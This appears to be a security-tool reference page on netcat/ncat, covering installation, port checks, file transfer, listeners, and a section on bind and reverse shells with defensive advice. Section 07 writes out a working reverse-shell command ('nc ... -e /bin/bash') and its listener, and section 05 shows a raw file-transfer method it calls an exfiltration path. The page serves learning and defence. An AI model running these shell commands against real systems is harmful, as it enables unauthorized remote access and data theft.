arsenal/netcat / ncat

netcat / ncat

the networking multitool · varies

Reads and writes raw network connections: listeners, port checks, file transfers, and reverse shells. The duct tape of networking.

Authorized use only. Run these only on systems you own or have explicit written permission to test. Full notice at the foot of the page.

01Install

Almost every system already ships a netcat. The OpenBSD variant is the most capable and is what these examples assume.

$ sudo emerge net-analyzer/openbsd-netcat # Gentoo

$ sudo apt install netcat-openbsd # Debian / Ubuntu / Kali

$ sudo dnf install nmap-ncat # Fedora / RHEL (provides nc)

02What netcat does

netcat makes a raw TCP or UDP connection and wires it to standard input and output. That sounds small and is enormous in practice: anything that speaks over a socket, you can poke by hand. Check if a port is open, talk to a service directly, move a file with no protocol, stand up a quick listener, or catch a reverse shell. There are several versions (traditional, OpenBSD, and ncat from the nmap project); ncat is the modern one and adds TLS and access control, so prefer it where present.

↑ contents

03Is this port open

Before blaming an application, check the socket. netcat with -z (scan, no data) and -v (verbose) tells you whether a port is actually listening, which separates a network problem from an app problem in one line.

$ nc -zv 10.0.0.1 22

$ nc -zv 10.0.0.1 20-25

04Talk to a service by hand

Connect to a text protocol and type at it. This is how you learn what a service really does, and how you test a web server, an SMTP server, or a custom protocol without a client getting in the way.

$ nc 10.0.0.12 80

05Move a file with no ceremony

When scp is not available but a port is, netcat moves a file directly: a listener writes what it receives to disk, the sender pipes the file in. Simple, and a good illustration of why an open listening port is a data-exfiltration path worth caring about.

$ # receiver:

$ nc -l -p 9000 > received.tar.gz

$ # sender:

$ nc 10.0.0.12 9000 < backup.tar.gz

06A quick listener

A listener waits for a connection and shows you what arrives, which is how you confirm that something can reach you and what it sends. It is also the catcher side of a reverse shell.

$ nc -lvnp 4444

↑ contents

07Bind and reverse shells, and why they matter

netcat can attach a shell to a connection. A bind shell listens on the target and you connect in; a reverse shell is launched from the target and connects back to your listener, which is what gets through outbound-only firewalls. You learn these so you understand how a foothold actually works and so you can recognise one. On your own lab, catching a reverse shell from one VM on another is the classic exercise.

$ # attacker catches the shell:

$ nc -lvnp 4444

$ # target connects back (authorized lab host):

$ nc 10.0.0.5 4444 -e /bin/bash

» ncat removes -e on purpose because it was so abused; the --exec and --ssl options are the safer modern equivalents for legitimate use.

08Spotting and closing the holes

Everything above is a defensive lesson in disguise. An unexpected listening port is a bind shell or a forgotten service; an outbound connection to an odd host and port may be a reverse shell. Knowing the pattern is how you find it on your own machines.

» Audit listening ports regularly (ss -tlnp); anything you cannot explain is worth chasing down.

» Egress filtering matters: a reverse shell only works if the target can reach out, so restrict outbound connections from servers that have no reason to initiate them.

» Watch for long-lived connections to high, random ports on hosts that should only serve, not call out.

↑ contents